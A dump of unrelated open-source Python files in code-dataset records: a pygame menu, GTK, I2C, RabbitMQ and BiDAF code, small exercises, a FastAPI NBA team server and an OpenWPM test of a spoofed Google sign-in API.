False\nmenu_configs = False\nmenu_creditos = False\n\nwhile menu_principal:\n gameDisplay.fill((112, 154, 209))\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n if menu_principal:\n\n font = pygame.font.Font(None, 36)\n boasvindas_text = font.render(\"Menu principal\", True, (255, 255, 255))\n jogar_text = font.render(\"1. Jogar\", True, (255, 255, 255))\n rank_text = font.render(\"2. Ranking\", True, (255, 255, 255))\n configs_text = font.render(\"3. Configs\", True, (255, 255, 255))\n creditos_text = font.render(\"4. Créditos\", True, (255, 255, 255))\n\n gameDisplay.blit(boasvindas_text, (575, 150))\n gameDisplay.blit(jogar_text, (600, 200))\n gameDisplay.blit(rank_text, (600, 250))\n gameDisplay.blit(configs_text, (600, 300))\n gameDisplay.blit(creditos_text, (600, 350))\n\n keys = pygame.key.get_pressed()\n if keys[pygame.K_1]:\n menu_principal = False\n menu_jogar = True\n elif keys[pygame.K_2]:\n def read_scores():\n if os.path.exists(\"scores.txt\"):\n with open(\"scores.txt\", \"r\") as file:\n scores = [line.strip().split(\": \") for line in file]\n\n scores.sort(key=lambda x: int(x[1]), reverse=True)\n return scores\n else:\n return []\n\n\n menu_principal = False\n menu_rank = True\n elif keys[pygame.K_3]:\n menu_principal = False\n menu_configs = True\n elif keys[pygame.K_4]:\n menu_principal = False\n menu_creditos = True\n\n while menu_jogar:\n gameDisplay.fill((112, 154, 209))\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n font = pygame.font.Font(None, 36)\n jogos_text = font.render(\"Modos de jogo:\", True, (255, 255, 255))\n tsunami_text = font.render(\"1. Tsunami\", True, (255, 255, 255))\n tornado_text = font.render(\"2. Tornado\", True, (255, 255, 255))\n meteoro_text = font.render(\"3. Meteoro\", True, (255, 255, 255))\n iniciar_jogo_text = font.render(\"Digite uma das opções acima e pressione SPACE para iniciar\", True,\n (255, 255, 255))\n retornar = font.render(\"Pressione Esc para retornar\", True, (255, 255, 255))\n selected = font.render(\"•\", True, (255, 255, 255))\n\n gameDisplay.blit(jogos_text, (575, 150))\n gameDisplay.blit(tsunami_text, (600, 200))\n gameDisplay.blit(tornado_text, (600, 250))\n gameDisplay.blit(meteoro_text, (600, 300))\n gameDisplay.blit(iniciar_jogo_text, (600, 350))\n gameDisplay.blit(retornar, (575, 450))\n\n keys = pygame.key.get_pressed()\n if keys[pygame.K_1]:\n gameDisplay.blit(selected, (570, 200))\n selected_game = \"fase_1.py\"\n elif keys[pygame.K_2]:\n gameDisplay.blit(selected, (570, 250))\n selected_game = \"fase_2.py\"\n elif keys[pygame.K_3]:\n gameDisplay.blit(selected, (570, 300))\n selected_game = \"fase_3.py\"\n elif keys[pygame.K_ESCAPE]:\n menu_jogar = False\n menu_principal = True\n\n if selected_game and keys[pygame.K_SPACE]:\n subprocess.Popen([\"python\", selected_game])\n selected_game = None\n\n pygame.display.update()\n\n while menu_rank:\n gameDisplay.fill((112, 154, 209))\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n font = pygame.font.Font(None, 36)\n\n\n def read_scores():\n if os.path.exists(\"scores.txt\"):\n with open(\"scores.txt\", \"r\") as file:\n scores = [line.strip().split(\": \") for line in file]\n\n scores.sort(key=lambda x: int(x[1]), reverse=True)\n return scores\n else:\n return []\n\n\n def show_ranking():\n gameDisplay.fill((0, 0, 0))\n scores = read_scores()\n y = 100\n for name, score in scores[:10]:\n score_text = font.render(f\"{name}: {score}\", True, (255, 255, 255))\n gameDisplay.blit(score_text, (100, y))\n y += 40\n\n\n show_ranking()\n\n keys = pygame.key.get_pressed()\n if keys[pygame.K_ESCAPE]:\n menu_rank = False\n menu_principal = True\n\n pygame.display.update()\n\n while menu_configs:\n gameDisplay.fill((112, 154, 209))\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n font = pygame.font.Font(None, 36)\n creditos_text = font.render(\"Controles: \", True, (255, 255, 255))\n orientacoes_text = font.render(\"Pressione SPACE para pular\", True, (255, 255, 255))\n orientacoes_text2 = font.render(\"Pressione S para cair mais rapido\", True, (255, 255, 255))\n orientacoes_text3 = font.render(\"Pressione M para silenciar o jogo e U para retomar a música\", True,\n (255, 255, 255))\n\n retornar = font.render(\"Pressione Esc para retornar\", True, (255, 255, 255))\n\n gameDisplay.blit(creditos_text, (575, 100))\n gameDisplay.blit(orientacoes_text, (600, 150))\n gameDisplay.blit(orientacoes_text2, (600, 200))\n gameDisplay.blit(orientacoes_text3, (600, 250))\n gameDisplay.blit(retornar, (575, 350))\n\n keys = pygame.key.get_pressed()\n if keys[pygame.K_ESCAPE]:\n menu_configs = False\n menu_principal = True\n\n pygame.display.update()\n\n while menu_creditos:\n gameDisplay.fill((112, 154, 209))\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n font = pygame.font.Font(None, 36)\n creditos_text = font.render(\"Créditos\", True, (255, 255, 255))\n desenvolvedores_text = font.render(\"Desenvolvido por:\", True, (255, 255, 255))\n nome_desenvolvedor_1 = font.render(\"Eduardo Bispo - 32214316\", True, (255, 255, 255))\n nome_desenvolvedor_2 = font.render(\"Rafael Paez - 32225423\", True, (255, 255, 255))\n nome_desenvolvedor_3 = font.render(\"Leonardo Aparicio - 32223617\", True, (255, 255, 255))\n nome_desenvolvedor_4 = font.render(\"Luiz Gustavo - 32092385\", True, (255, 255, 255))\n retornar = font.render(\"Pressione Esc para retornar\", True, (255, 255, 255))\n\n gameDisplay.blit(creditos_text, (575, 100))\n gameDisplay.blit(desenvolvedores_text, (600, 150))\n gameDisplay.blit(nome_desenvolvedor_1, (600, 200))\n gameDisplay.blit(nome_desenvolvedor_2, (600, 250))\n gameDisplay.blit(nome_desenvolvedor_3, (600, 300))\n gameDisplay.blit(nome_desenvolvedor_4, (600, 350))\n gameDisplay.blit(retornar, (575, 400))\n\n keys = pygame.key.get_pressed()\n if keys[pygame.K_ESCAPE]:\n menu_creditos = False\n menu_principal = True\n\n pygame.display.update()\n\n pygame.display.update()\n\npygame.quit()\nquit()","repo_name":"leonear/Jogo-Projeto","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10360536626","text":"from screeninfo import get_monitors\nfrom gi.repository import Gtk, GdkPixbuf, GLib, Gst\nimport gi\ngi.require_version('Gtk', '3.0')\ngi.require_version('Gst', '1.0')\n\n\nGst.init(None)\nGst.init_check(None)\n\n\nclass ImageWindow(Gtk.Window):\n '''\n Creates a Gtk window with a message for informing the participant about something\n It has a continue button which by clicking on it, the window will be destroyed\n\n Attributes\n ----------\n\n Parameters\n ----------\n\n image_path: str\n The path of image\n \n timeout: int\n The time period for displaying the image\n \n monitor_no: int, default: 0\n The ID of monitor for displaying of image. It can be 0, 1, ...\n\n '''\n def __init__(self, image_path, timeout, monitor_no=0):\n Gtk.Window.__init__(self, title=\"\")\n\n self._timeout = timeout\n image_box = Gtk.Box()\n monitors = get_monitors()\n image_width = monitors[monitor_no].width\n image_height = monitors[monitor_no].height\n pixbuf = GdkPixbuf.Pixbuf.new_from_file_at_scale(\n image_path, image_width, image_height, False)\n image = Gtk.Image()\n image.set_from_pixbuf(pixbuf)\n image_box.pack_start(image, False, False, 0)\n self.add(image_box)\n\n self.modal = True\n self.fullscreen()\n \n image_box.show()\n image.show()\n\n def show_window(self):\n GLib.timeout_add_seconds(self._timeout, self.destroy)\n self.show()\n\n","repo_name":"octopus-sensing/octopus-sensing","sub_path":"octopus_sensing/windows/image_window.py","file_name":"image_window.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"62"} +{"seq_id":"23510329936","text":"\n\n\n\n# This is the address we setup in the Arduino Program\naddress = 0x08\n \n\n \ndef EndSending():\n ValueComm(0)\n \ndef CommProcessPolCurve():\n GPIO.output(9, 1)\n #turns on charging relay pin\n CurrentCurrentValue = YourEcoCar.SCurrentStep\n #InsertCode for after x time\n while (CurrentCurrentValue <= YourEcoCar.ECurrentStep):\n ValueComm(CurrentCurrentValue)\n CurrentCurrentValue += YourEcoCar.CurrentStepStep\n timeWait(2)\n #code to wait x time\n ValueComm(YourEcoCar.ECurrentStep)\n timeWait(2)\n CurrentCurrentValue = YourEcoCar.ECurrentStep\n while (CurrentCurrentValue >= YourEcoCar.SCurrentStep):\n ValueComm(CurrentCurrentValue)\n CurrentCurrentValue -= YourEcoCar.CurrentStepStep\n timeWait(2)\n #final wait x time\n EndSending()\n SuccessScreen()\n\ndef CommProcessAirStarve():\n GPIO.output(9, 1)\n ValueComm(121)\n timeWait(AirStarveTime)\n \ndef CommProcessConditioning():\n GPIO.output(9, 1)\n ValueComm(CCurrentStep)\n timeWait(ConditioningTime) #make config file spec\n\ndef ValueReceive():\n failcounter = 0\n while 1:\n try:\n with SMBusWrapper(1) as bus:\n data = bus.read_i2c_block_data(address, 122, 7)\n BatVolt = (data[1]<<8) + (data[2])\n CellVolt = (data[3]<<8) + (data[4])\n CellCurr = (data[5]<<8) + (data[6])\n break\n except:\n failcounter += 1\n if(failcounter > 3):\n desync_shutdown()\n timeout = time.time() + 1\n while(time.time() < timeout):\n pass\n \ndef ValueComm(important_value):\n while 1:\n try:\n with SMBusWrapper(1) as bus:\n bus.read_i2c_block_data(address, important_value, 0)\n break\n except:\n failcounter += 1\n if(failcounter > 3):\n desync_shutdown()\n \n # Decreasing delay may create more transmission errors.\n time.sleep(0.01)\n\n#def SafetyChecks():\n #if BatVolt < BATVALPLACEHOLDER :\n ##checks for low battery\n \n \ndef timeWait(timelimit):\n timeout = time.time() + 60*timelimit\n while (time.time() < timeout):\n\n #INSERT FAN VALUE FUNCTIONS\n \n #TODO temp send functions for both areas\n\n ValueReceive()\n textframe = tk.Label(RS_baseFrame, text = \"Battery Voltage: {}, Cell Voltage: {}, Cell Current: {}\".format(BatVolt, CellVolt, CellCurr))\n textframe.config(font = (\"Arial\", 16), pady=150)\n textframe.pack()\n #SafetyChecks()\n\n\ndef desync_shutdown():\n EndSending()\n panic_frame = tk.Frame(root, height=380, width=600)\n panic_frame.pack_propagate(False)\n panic_frame.place(x=80, y=50)\n\n panic_label = tk.Label(panic_frame, text='Uh oh')\n panic_label.config(font=(\"Arial\", 24), bg='blue')\n panic_label.pack(fill=\"both\")\n\n panic_button = tk.Button(panic_frame, text=\"Understood\", command=root.destroy())\n panic_button.config(font=(\"Arial\", 16), bg='black', fg='white')\n panic_button.pack(side=\"bottom\", fill=\"x\")\n\n panic_textbox = tk.Text(panic_frame, width=50, height=20)\n panic_textbox.config(font=(\"Arial\", 12))\n panic_textbox.pack(fill=\"both\")\n panic_textbox.insert(tk.END, \"an issue has occurred in the communication between the interface\\nand the chip, the program will now close\")\n","repo_name":"UAlberta-EcoCar/AutomatedLoadBank","sub_path":"Pi/Deprecated/I2Ctest.py","file_name":"I2Ctest.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"22965777007","text":"import pika\nimport json\nimport pickle\nimport time\n\nclass Pika_Consumer():\n def __init__(self,rabbit_params,exchanges,queue,data_queue=None,callback=None,retries=5,socket_timeout=5):\n credentials = pika.PlainCredentials(rabbit_params['user'], rabbit_params['password'])\n config = pika.ConnectionParameters(rabbit_params['host'], rabbit_params['port'],'/',credentials)\t\n config.socket_timeout = socket_timeout \n self.connection = self.connect(config,retries)\n self.channel = self.connection.channel()\n self.exchanges = exchanges\n self.queue = queue\n self.channel.queue_declare(queue=f'{queue}.queue')\n for exchange in exchanges: \n self.channel.queue_bind(exchange=f'{exchange}.exchange',queue=f'{queue}.queue')\n print(f'{exchange}.exchange') \n if callback is None:\n callback = self.callback\n self.channel.basic_consume(f'{queue}.queue',callback, auto_ack=True)\n self.data_queue = data_queue\n \n\n def connect(self,config,retries):\n count = 0\n while count < retries:\n try:\n connection = pika.BlockingConnection(config)\n return connection\n except:\n print(f'Connection error try: {count+1}')\n count +=1 \n time.sleep(10)\n exit()\n\n def callback(self,ch, method, properties, body): \n self.data_queue.put(body)\n\n\n def start(self):\n try:\n self.channel.start_consuming()\n except Exception as e:\n print(e)\n finally:\n self.stop() \n\n def stop(self): \n self.channel.queue_delete(queue=f'{self.queue}.queue')\n\n self.connection.close()\n\n\n\n \n \n\n\n","repo_name":"sevpoliti/teaching-app","sub_path":"old_version/tools/rabbitmq/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"30941912241","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport pdb\ntorch.manual_seed(0)\nclass Attention(nn.Module):\n def __init__(self, in_twe_dim, in_que_dim, hidden_dim):\n super(Attention,self).__init__()\n self.hidden_dim = hidden_dim\n self.Ws1 = self.generate_Ws1(65,hidden_dim)\n self.Ws2 = self.generate_Ws2(20,hidden_dim)\n self.Ws3 = self.generate_Ws3(65,hidden_dim)\n self.softmax1 = torch.nn.Softmax(dim=2)\n self.softmax2 = torch.nn.Softmax(dim=1)\n\n def generate_Ws1(self, len_twe, hidden_dim):\n ws1 = Variable(nn.init.normal_(torch.empty(1,2*hidden_dim)).repeat(len_twe,1))\n return ws1\n\n def generate_Ws2(self, len_que, hidden_dim):\n ws2 = Variable(nn.init.normal_(torch.empty(1,2*hidden_dim)).repeat(len_que,1))\n return ws2\n\n def generate_Ws3(self, len_twe, hidden_dim):\n ws3 = Variable(nn.init.normal_(torch.empty(1,2*hidden_dim)).repeat(len_twe,1))\n return ws3\n\n def forward(self, H, U):\n H1 = torch.sum(H*self.Ws1,dim=2).repeat(20,1,1).permute(1,2,0)\n U1 = torch.sum(U*self.Ws2,dim=2).repeat(65,1,1).permute(1,0,2)\n HU = torch.bmm(H*self.Ws3, U.permute(0,2,1))\n S = H1+U1+HU\n at = self.softmax1(S)\n Util = torch.bmm(at, U)\n beta,_ = torch.max(S,2)\n b = self.softmax2(beta).repeat(100,1,1).permute(1,2,0)\n Htil = torch.sum(b*H,dim=1).repeat(65,1,1).permute(1,0,2)\n G = torch.cat((H,Util,H*Util,H*Htil),dim=2)\n return G\n\n\nclass BiDAF(nn.Module):\n def __init__(self, in_twe_dim, in_que_dim, hidden_dim):\n super(BiDAF,self).__init__()\n self.drop = nn.Dropout(0)\n self.drop2 = nn.Dropout(0)\n # The first bi-lstm layer -- in_twe_dim = in_que_dim = 50\n self.lstm1twe = nn.LSTM(in_twe_dim, hidden_dim, bidirectional=True)\n self.lstm1que = nn.LSTM(in_que_dim, hidden_dim, bidirectional=True) \n # attention layer\n self.attention = Attention(in_twe_dim, in_que_dim, hidden_dim)\n # the last bi-lstm layer\n self.lstm = nn.LSTM(hidden_dim*8,hidden_dim, bidirectional=True, num_layers = 2)\n self.lstm2 = nn.LSTM(hidden_dim*2, hidden_dim, bidirectional=True)\n # two linear layer\n self.linear1 = nn.Linear(10*hidden_dim,1,bias=True)\n self.linear2 = nn.Linear(10*hidden_dim,1,bias=True)\n \n self.softmaxp1 = nn.Softmax(dim=1)\n self.softmaxp2 = nn.Softmax(dim=1)\n # loss function\n self.ce = nn.CrossEntropyLoss()\n\n\n def forward(self, twe, que, ans):\n\n H,_ = self.lstm1twe(twe)\n U,_ = self.lstm1que(que)\n \n # # Attention layer\n G = self.attention(H,U)\n M,_= self.lstm(G)\n M2,_ = self.lstm2(M)\n GcomM = torch.cat((G,M),dim=2)\n GcomM2 = torch.cat((G,M2),dim=2)\n p1 = self.softmaxp1(self.linear1(GcomM).reshape(GcomM.shape[0],65))\n p2 = self.softmaxp2(self.linear2(GcomM2).reshape(GcomM2.shape[0],65))\n a1= ans[:,0]\n a2 = ans[:,1]\n \n loss = self.ce(p1,a1)+self.ce(p2,a2)\n # pdb.set_trace()\n return loss,p1,p2\n\n","repo_name":"huangjingxian/TweetQA","sub_path":"BiDAF/utils/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3057006402","text":"import itertools\r\n\r\n\r\ndef fib():\r\n a = b = 1\r\n yield a\r\n yield b\r\n while True:\r\n a, b = b, a + b\r\n yield b\r\n\r\n\r\ndef fib2(n): # n is the number of Fibonacci numbers to generate\r\n a = b = 1\r\n count = 0 # keep track of how many numbers are generated\r\n yield a\r\n yield b\r\n count += 2 # increment count by 2 after yielding a and b\r\n while count < n: # loop until count reaches n\r\n a, b = b, a + b\r\n yield b\r\n count += 1 # increment count by 1 after yielding b\r\n\r\n\r\ndef fib3(limit): # limit is the maximum value of Fibonacci numbers to generate\r\n a = b = 1\r\n yield a\r\n yield b\r\n while True:\r\n a, b = b, a + b\r\n if b > limit: # check if b exceeds limit\r\n break # stop generating numbers\r\n yield b\r\n\r\ndef chunk_generator(generator, chunk_size):\r\n \"\"\"\r\n Chunk a generator into sub-generators of a given size.\r\n \"\"\"\r\n while True:\r\n chunk = list(itertools.islice(generator, chunk_size))\r\n if not chunk:\r\n break\r\n yield chunk\r\n\r\nif __name__ == '__main__':\r\n # top100 = list(itertools.islice(fib(), 100))\r\n # print(top100)\r\n my_generator = (x for x in range(21))\r\n for chunk in chunk_generator(my_generator, 5):\r\n print(chunk)\r\n\r\n","repo_name":"zhifengle/blog","sub_path":"demos/py/test-py/basic/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"14928783470","text":"# -*- coding: utf-8 -*-\nimport os\n\n\"\"\"\npaste -d '\\t' col1.txt col2.txt\n\"\"\"\n\nDIR = os.path.dirname(os.path.abspath(__file__))\nCOL1_PATH = os.path.join(DIR, \"./test/col1.txt\")\nCOL2_PATH = os.path.join(DIR, \"./test/col2.txt\")\nOUT_PATH = os.path.join(DIR, \"./test/sec13_merged.txt\")\n\ndef merge(path1=COL1_PATH, path2=COL2_PATH, path3=OUT_PATH):\n l = []\n with open(path1, 'r') as f1, open(path2, 'r') as f2:\n for line1, line2 in zip(f1, f2):\n l.append(line1.rstrip('\\n') + '\\t' + line2.rstrip('\\n'))\n\n with open(path3, 'w') as f:\n for element in l:\n f.write(element + '\\n')\n\n\nif __name__ == '__main__':\n merge()\n","repo_name":"struuuuggle/NLP100","sub_path":"src/ch02/sec13_merge.py","file_name":"sec13_merge.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18228794603","text":"class Solution:\n def maxTwoEvents(self, events: [[int]]) -> int:\n tracker = []\n res = 0\n CurrentMaxVal = 0 # Max value of finished events so far\n\n for start, end, val in events:\n tracker.append([start, True, val]) # Starting time, started, value\n tracker.append([end + 1, False, val]) # End time (inclusive), ended, value\n\n print(tracker)\n\n tracker.sort() # Sort according to starting time\n\n print(tracker)\n\n for time, is_start, val in tracker:\n if is_start:\n res = max(res, CurrentMaxVal + val)\n else:\n CurrentMaxVal = max(CurrentMaxVal, val)\n return res\n","repo_name":"Riazul-Islam-Rifat/LeetCode","sub_path":"Array/2054. Two Best Non-Overlapping Events.py","file_name":"2054. Two Best Non-Overlapping Events.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42289133768","text":"from tkinter.tix import Tree\nfrom fastapi import FastAPI , status , HTTPException , Request, Response\nfrom fastapi.staticfiles import StaticFiles\nfrom fastapi.responses import FileResponse\nimport uvicorn\nimport requests\nimport helper_methods\n\napp = FastAPI()\napp.mount(\"/client\", StaticFiles(directory=\"client\"), name=\"client\")\n\ndictionary={}\n\nteamToIDs = {\n \"lakers\": \"1610612747\",\n \"warriors\": \"1610612744\",\n \"heat\": \"1610612748\",\n \"suns\": \"1610612756\"\n}\n\ndreamTeam =[]\nrelevant_players=[]\ndreamTeamMode = False\n\ndef filterRelevantTeam(teamID,teamName):\n return teamID==teamToIDs[teamName] \n\n@app.get('/')\ndef root():\n return FileResponse('./client/index.html')\n\n@app.get(\"/players/\")\nasync def query_params(teamName,year, response: Response):\n global dreamTeamMode\n dreamTeamMode = False\n global relevant_players\n relevant_players=[]\n if teamName not in teamToIDs.keys():\n response.status_code = status.HTTP_400_BAD_REQUEST\n return {\"Error\": \"invalid team name\"}\n if int(year)>3000 or int(year)<1000:\n response.status_code = status.HTTP_400_BAD_REQUEST\n return {\"Error\": \"invalid year\"} \n res = requests.get(f\"http://data.nba.net/10s/prod/v1/{year}/players.json\")\n allplayers = res.json()['league']['standard']\n for player in allplayers:\n for team in player[\"teamId\"].split(\" \"):\n if filterRelevantTeam(team,teamName)==True:\n first_name = player[\"firstName\"]\n last_name = player[\"lastName\"]\n jersey_number = player[\"jersey\"]\n position = player[\"pos\"]\n img = f\"https:nba-players.herokuapp.com/players/{last_name}/{first_name}\"\n isActive = player[\"dateOfBirthUTC\"]\n \n relevant_players.append({\n \"firstName\" : first_name,\"lastName\" : last_name,\n \"jersey\" : jersey_number,\n \"isActive\": isActive,\n \"pos\": position,\n \"img\": img})\n return relevant_players\n\n@app.post(\"/dreamteam/\")\nasync def addToDreamTeam(request: Request):\n res = await request.json()\n for player in relevant_players:\n if player[\"firstName\"]==res[\"firstName\"] and player[\"lastName\"]==res[\"lastName\"]:\n dreamTeam.append(player)\n break\n\n@app.delete(\"/dreamteam/\")\nasync def removeFromDreamTeam(firstName,lastName):\n index_to_be_removed=-1\n for i in range(0,len(dreamTeam)):\n if dreamTeam[i][\"firstName\"]==firstName and dreamTeam[i][\"lastName\"]==lastName:\n index_to_be_removed=i\n dreamTeam.pop(index_to_be_removed)\n\n@app.get(\"/dreamteam/\")\nasync def getDreamTeam():\n global dreamTeamMode\n dreamTeamMode = True\n return dreamTeam\n\n@app.get(\"/players/filteractive\")\nasync def players_filter_active():\n global relevant_players\n relevant_players = list(filter(lambda player: (helper_methods.isActive(player)), relevant_players))\n print(\"filtered active from players\") \n return relevant_players\n\n@app.get(\"/dreamteam/filteractive\")\nasync def players_filter_active():\n global dreamTeam\n dreamTeam = list(filter(lambda player: (helper_methods.isActive(player)), dreamTeam))\n print(\"filtered active from dream team\")\n return dreamTeam\n\n@app.get(\"/players/stats\")\ndef getPlayerStats(firstName,lastName):\n res = requests.get(f'https://nba-players.herokuapp.com/players-stats/{lastName}/{firstName}')\n return res.json()\n\nif __name__ == \"__main__\":\n uvicorn.run(\"server:app\", host=\"0.0.0.0\", port=8052,reload=True)","repo_name":"yagelpinhas/NBA","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29100981148","text":"# 04 - March - 2021 \n\n# python file_Name_Rename_By_Sub_String.py\n\nimport os\n\npath = '.'\ncount = 0\n\nfile_formate = '.txt'\n\npresent_string = 'current_sub_string_name'\n\nnew_string = 'what_you_want_to_set'\n\nfor file in os.listdir(path) :\n\n if file.endswith(file_formate) :\n \n if file.find(present_string) > -1 :\n \n count+= 1\n \n os.rename(\n os.path.join(path, file), \n os.path.join(path, file.replace(present_string, new_string)))\n\nprint(\"Total File :\", count)\n\n\nif count == 0 :\n print(\"No File has been Renamed...\")\n\n\n# END of Script\n# Thank You! :)","repo_name":"taiseen/needFullScript","sub_path":"python/file_Name_Rename_By_Sub_String.py","file_name":"file_Name_Rename_By_Sub_String.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"70461774919","text":"import json\nfrom openwpmtest import OpenWPMTest\nfrom ..automation import TaskManager, CommandSequence\nfrom ..automation.utilities import db_utils\nimport utilities as util\n\nei = { # Expected user info\n u'id': u'101947710780300010678',\n u'email': u'Flo.Bar.12345@gmail.com',\n u'first_name': u'Florentino',\n u'last_name': u'Bartholomew',\n u'name': u'Florentino Bartholomew',\n u'image_url': u'\"https://lh4.googleusercontent.com/-UqEcQyoiCHk/'\n 'AAAAAAAAAAI/AAAAAAAAAAA/AKB_U8vzhLOBmQrGyD1teSBAuB4YvWhnJA/'\n 's96-c/photo.jpg\"',\n}\nepi = { # Expected plus info\n u\"id\": ei['id'],\n u\"kind\": u\"plus#person\",\n u\"objectType\": u\"person\",\n u\"isPlusUser\": True,\n u\"etag\": u\"\\\"qwejzoixvlmke529mc2djlONDH28/jlkj98DHHD723K01hH_Jf8\\\"\",\n u\"url\": u\"https://plus.google.com/\" + ei['id'],\n u\"emails\": [\n {\n u\"value\": ei['email'],\n u\"type\": u\"account\"\n }\n ],\n u\"displayName\": ei['name'],\n u\"name\": {\n u\"familyName\": ei['last_name'],\n u\"givenName\": ei['first_name']\n },\n u\"nickname\": u\"FloBar\",\n u\"tagline\": u\"Only the best survive\",\n u\"aboutMe\": u\"Find me at LLWbZxZS6C65oM7IaNGk\",\n u\"image\": {\n u\"url\": ei['image_url'],\n u\"isDefault\": True\n },\n u\"occupation\": u\"A Student of Life\",\n u\"gender\": u\"male\",\n u\"urls\": [\n {\n u\"value\": u\"http://LLWbZxZS6C65oM7IaNGk.com\",\n u\"type\": u\"other\",\n u\"label\": u\"The best LLWbZxZS6C65oM7IaNGk in town.\"\n }\n ],\n u\"language\": u\"en\",\n u\"birthday\": u\"1980-04-01\",\n u\"ageRange\": {\n u\"min\": 21,\n u\"max\": 40\n },\n u\"organizations\": [\n {\n u\"name\": u\"Trump University\",\n u\"title\": u\"The Art of the Deal\",\n u\"type\": u\"school\",\n u\"startDate\": u\"2001\",\n u\"endDate\": u\"2004\",\n u\"primary\": False\n }\n ],\n u\"placesLived\": [\n {\n u\"value\": u\"Alabaster, Alabama\",\n u\"primary\": True\n },\n {\n u\"value\": u\"Dayton, Louisiana\"\n },\n {\n u\"value\": u\"Monterey, California\"\n }\n ],\n u\"circledByCount\": 0,\n u\"verified\": True\n}\n\n# Response should also have a `Content-Length`, `Expires`, and `Date` key\nHTTPResponseHeaders = {\n 'Cache-Control': \"private, max-age=0, must-revalidate, no-transform\",\n 'Content-Encoding': 'gzip',\n 'Content-Type': \"application/json; charset=UTF-8\",\n 'Etag': \"FFDKJie6cYw9BakjIIJFNNGVVdio/sdfg70qDT9rg2nj8zSasdfs_lFYYs\",\n 'Server': \"GSE\",\n 'Vary': \"X-Origin\"\n}\n\n\nclass TestGoogleAPICalls(OpenWPMTest):\n NUM_BROWSERS = 1\n\n def get_config(self, data_dir=\"\"):\n manager_params, browser_params = self.get_test_config(data_dir)\n browser_params[0]['js_instrument'] = True\n browser_params[0]['spoof_identity']['enabled'] = True\n browser_params[0]['spoof_identity']['google'] = True\n return manager_params, browser_params\n\n def test_real_script_interception(self):\n \"\"\"Verify that we redirect requests to platform.js to a noop\"\"\"\n manager_params, browser_params = self.get_config()\n browser_params[0]['http_instrument'] = True\n manager_params['testing'] = True\n manager = TaskManager.TaskManager(manager_params, browser_params)\n test_url = util.BASE_TEST_URL + '/google_api/google_login.html'\n\n # Verify that script replacement is working as expected\n def check_script_replace(**kwargs):\n driver = kwargs['driver']\n\n # Check if google script was replaced\n assert driver.execute_script(\"\"\"\n return window.script_replaced === true;\n \"\"\")\n\n cs = CommandSequence.CommandSequence(test_url, blocking=True)\n cs.get(sleep=2, timeout=60)\n cs.run_custom_function(check_script_replace)\n manager.execute_command_sequence(cs)\n manager.close()\n\n # Verify that request still exists in http_requests\n db = manager_params['db']\n rows = db_utils.query_db(\n db,\n \"SELECT * FROM http_requests WHERE url = ?\",\n (\"https://apis.google.com/js/platform.js\",)\n )\n assert len(rows) == 1\n\n def test_spoofed_google_api(self):\n \"\"\"Verify that `gapi` spoofing works as expected\"\"\"\n manager_params, browser_params = self.get_config()\n manager = TaskManager.TaskManager(manager_params, browser_params)\n test_url = util.BASE_TEST_URL + '/simple_a.html'\n\n expected_calls = {\n (u'window.gapi.auth2.init', u'call'),\n (u'window.gapi.auth2.BasicProfile.getEmail', u'call'),\n (u'window.gapi.auth2.GoogleUser.isSignedIn', u'call'),\n (u'window.gapi.auth2.BasicProfile.getId', u'call'),\n (u'window.gapi.auth2.GoogleAuth.then', u'call'),\n (u'window.gapi.auth2.GoogleAuth.currentUser.listen', u'call'),\n (u'window.gapi.auth2.BasicProfile.getImageUrl', u'call'),\n (u'window.gapi.auth2.BasicProfile.getName', u'call'),\n (u'window.gapi.auth2.BasicProfile.getGivenName', u'call'),\n (u'window.gapi.auth2.BasicProfile.getFamilyName', u'call'),\n (u'window.gapi.auth2.GoogleUser.getBasicProfile', u'call'),\n (u'window.gapi.auth2.GoogleAuth.currentUser.get', u'call'),\n (u'window.gapi.auth2.GoogleAuth.isSignedIn.listen', u'call'),\n (u'window.gapi.auth2.GoogleUser.getId', u'call'),\n (u'window.gapi.auth2.getAuthInstance', u'call'),\n (u'window.gapi.auth2.GoogleAuth.isSignedIn.get', u'call')\n }\n\n def check_api(**kwargs):\n driver = kwargs['driver']\n\n # Auth from init (async)\n assert driver.execute_async_script(\"\"\"\n callback = arguments[0];\n window.gapi.auth2.init({}).then(function(GoogleAuth) {\n callback(GoogleAuth.isSignedIn.get() === true);\n }, function(error){console.log(\"Error on init\",error);});\n \"\"\")\n\n # isSignedIn (sync) via GoogleAuth\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.getAuthInstance();\n return GoogleAuth.isSignedIn.get() === true;\n \"\"\")\n\n # 